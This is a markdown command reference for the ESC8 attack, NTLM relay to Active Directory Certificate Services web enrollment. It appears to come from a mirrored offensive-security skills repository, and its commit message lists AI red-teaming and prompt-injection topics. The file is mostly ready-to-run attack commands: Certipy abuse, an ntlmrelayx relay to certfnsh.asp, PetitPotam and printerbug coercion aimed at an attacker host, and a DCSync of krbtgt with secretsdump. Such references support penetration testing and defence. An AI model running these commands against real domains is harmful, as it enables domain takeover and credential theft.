mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-21 12:10:59 +03:00
mukul975
8cae0648ec
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
59 lines
2.6 KiB
Markdown
59 lines
2.6 KiB
Markdown
# ESC8 Toolchain — Command Reference
|
|
|
|
## Certipy (enumeration + abuse)
|
|
|
|
| Command | Purpose | Example |
|
|
|---------|---------|---------|
|
|
| `certipy find` | Enumerate CAs/templates; flag vulnerabilities | `certipy find -u u@corp.local -p pw -dc-ip 10.0.0.10 -vulnerable -enabled -stdout` |
|
|
| `certipy auth` | PKINIT with a .pfx -> TGT + NT hash | `certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10` |
|
|
| `certipy req` | Request a certificate from a template | `certipy req -u u@corp.local -ca CORP-CA -template DomainController` |
|
|
|
|
Useful `find` flags: `-vulnerable`, `-enabled`, `-stdout`, `-json`, `-dc-ip`, `-ns`.
|
|
|
|
## Impacket ntlmrelayx (relay engine)
|
|
|
|
| Flag | Purpose |
|
|
|------|---------|
|
|
| `-t <url>` | Target to relay to (e.g. `http://ca/certsrv/certfnsh.asp`) |
|
|
| `-tf <file>` | File of multiple relay targets |
|
|
| `--adcs` | Enable AD CS relay attack (request certificate) |
|
|
| `--template <name>` | Certificate template (`DomainController`, `Machine`, `User`) |
|
|
| `-smb2support` | Accept SMB2 connections from coerced auth |
|
|
| `-socks` | Hold relayed sessions in a SOCKS proxy |
|
|
| `-i` | Drop to an interactive SMB/LDAP shell |
|
|
| `--no-http-server` / `--no-smb-server` | Disable specific relay servers |
|
|
|
|
```bash
|
|
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
```
|
|
|
|
## Coercion Tools
|
|
|
|
| Tool | Protocol | Example |
|
|
|------|----------|---------|
|
|
| PetitPotam | MS-EFSRPC | `python3 PetitPotam.py -u u -p pw -d corp.local <attacker_ip> <dc_ip>` |
|
|
| Coercer | Multi-protocol | `coercer coerce -u u -p pw -d corp.local -l <attacker_ip> -t <dc_ip>` |
|
|
| printerbug.py | MS-RPRN | `python3 printerbug.py corp.local/u:pw@<dc_ip> <attacker_ip>` |
|
|
| dementor.py | MS-RPRN | `python3 dementor.py <attacker_ip> <dc_ip> -u u -p pw -d corp.local` |
|
|
|
|
## Post-Exploitation
|
|
|
|
| Command | Purpose | Example |
|
|
|---------|---------|---------|
|
|
| `impacket-secretsdump` | DCSync with TGT/hash | `KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass corp.local/'DC01$'@dc01 -just-dc-user krbtgt` |
|
|
| `impacket-getTGT` | Request TGT from hash | `impacket-getTGT corp.local/'DC01$' -hashes :<NTHASH>` |
|
|
|
|
## Web Enrollment Endpoints (relay targets)
|
|
|
|
| Endpoint | Notes |
|
|
|----------|-------|
|
|
| `/certsrv/certfnsh.asp` | Certificate submission page (primary ESC8 target) |
|
|
| `/certsrv/` | Web Enrollment root |
|
|
| `/ADPolicyProvider_CEP_Kerberos/service.svc` | CES/CEP (ESC11-related) |
|
|
|
|
## External References
|
|
|
|
- Impacket: https://github.com/fortra/impacket
|
|
- Certipy wiki: https://github.com/ly4k/Certipy/wiki
|
|
- HackingArticles ESC8: https://www.hackingarticles.in/adcs-esc8-ntlm-relay-to-ad-cs-http-endpoints/
|